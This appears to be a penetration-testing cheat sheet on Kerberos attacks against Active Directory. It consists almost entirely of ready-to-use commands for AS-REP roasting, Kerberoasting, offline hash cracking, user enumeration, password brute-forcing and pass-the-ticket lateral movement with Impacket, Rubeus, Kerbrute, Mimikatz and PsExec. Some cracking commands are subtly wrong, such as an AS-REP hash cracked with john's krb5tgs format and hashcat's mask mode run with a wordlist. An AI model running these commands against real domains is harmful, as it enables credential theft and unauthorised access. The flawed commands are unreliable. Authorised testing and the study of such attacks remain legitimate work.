Kerberoast

Tools

Rubeus: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

Kerbrute: https://github.com/ropnop/kerbrute

Impacket: https://github.com/SecureAuthCorp/impacket

ASREP-Roast

Impacket

# ASREP check on all domain Users (Requires valid domain credentials)
python2 GetNPUsers.py <Domain>/<User>:<Password> -request -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

Rubeus

# Extract from all domain accounts
.\Rubeus.exe asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

Cracking

# Windows
hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt

# Linux
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
hashcat -m 18200 -a 3 Hashes.txt rockyou

Brute Force

Kerbrute

Download: https://github.com/ropnop/kerbrute

./kerbrute userenum <UserList> --dc <IP> --domain <Domain>

Rubeus

# with a list of users
.\Rubeus.exe brute /users:<UserList> /passwords:<Wordlist> /domain:<Domain>

# Check all domain users again password list
.\Rubeus.exe brute /passwords:<Wordlist>

Kerberoasting

Impacket

GetUserSPNs.py <Domain>/<User>:<Password> -dc-ip <IP> -request

Rubeus

# Kerberoast all users in Domain
.\Rubeus kerberoast

# All Users in OU
.\Rubeus.exe kerberoast /ou:OU=Service_Accounts,DC=Security,DC=local

# Specific users
.\Rubeus.exe kerberoast /user:File_SVC

Pass-The-Ticket

Mimikatz

# Collect tickets
sekurlsa::tickets /export

# Inject ticket
kerberos::ptt <.kirbi file>

# spawn CMD with the injected ticket
misc::cmd

Rubeus

# Collect tickets
.\Rubeus.exe dump

# Inject ticket
.\Rubeus.exe ptt /ticket:<.kirbi file>

PsExec

# To be used after injecting ticket with either Rubeus or Mimikatz
.\PsExec.exe -accepteula \\<IP> cmd

Silver Ticket

Silver Ticket | Pentest Everythingviperone.gitbook.io

Golden Ticket

Golden Ticket | Pentest Everythingviperone.gitbook.io